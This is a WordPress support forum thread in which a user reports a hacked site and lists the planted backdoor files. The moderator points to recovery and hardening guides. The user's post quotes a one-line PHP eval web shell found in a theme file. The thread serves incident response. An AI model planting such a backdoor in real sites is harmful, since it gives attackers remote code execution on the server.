Title: Suspicious hack
Last modified: August 31, 2016

---

# Suspicious hack

 *  [Kayz5](https://wordpress.org/support/users/kayz5/)
 * (@kayz5)
 * [10 years ago](https://wordpress.org/support/topic/suspicious-hack/)
 * Hi there my latest WordPress site seems to have malfunctioned and almost defaced.
   I am running the latest wordpress theme with a few plugins which were also running
   the latest version.
 * Can anyone shed some light as to how this might have happened or what it is?
 * I found the following files in the following directories:
 * wp-content/themes/twentyfifteen/readmy.php
    wp-content/plugins/Login-wall-iFeJb/
   listent.txt wp-content/plugins/Login-wall-iFeJb/login_wall.php wp-admin/network/
   jobrch.php wp-admin/network/son.php
 * The content of each file is as follows:
 * **wp-content/themes/twentyfifteen/readmy.php**
 * `<?php @eval($_POST[gnm]);?>`
 * **wp-content/plugins/Login-wall-iFeJb/listent.txt**
 * `%->%|1%|<%-`
 * **wp-content/plugins/Login-wall-iFeJb/login_wall.php**
 * _[ Possible malware code deleted. Don’t post that here. ]_
 * I found a few suspicious files

Viewing 1 replies (of 1 total)

 *  Moderator [Jan Dembowski](https://wordpress.org/support/users/jdembowski/)
 * (@jdembowski)
 * Forum Moderator and Brute Squad
 * [10 years ago](https://wordpress.org/support/topic/suspicious-hack/#post-7383072)
 * Your site is compromised. Please remain calm and carefully follow [this guide](https://codex.wordpress.org/FAQ_My_site_was_hacked).
 * When you’re done, you may want to implement some (if not all) of [the recommended security measures](https://codex.wordpress.org/Hardening_WordPress).

Viewing 1 replies (of 1 total)

The topic ‘Suspicious hack’ is closed to new replies.

## Tags

 * [hacked](https://wordpress.org/support/topic-tag/hacked/)
 * [malicious](https://wordpress.org/support/topic-tag/malicious/)

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 1 reply
 * 2 participants
 * Last reply from: [Jan Dembowski](https://wordpress.org/support/users/jdembowski/)
 * Last activity: [10 years ago](https://wordpress.org/support/topic/suspicious-hack/#post-7383072)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics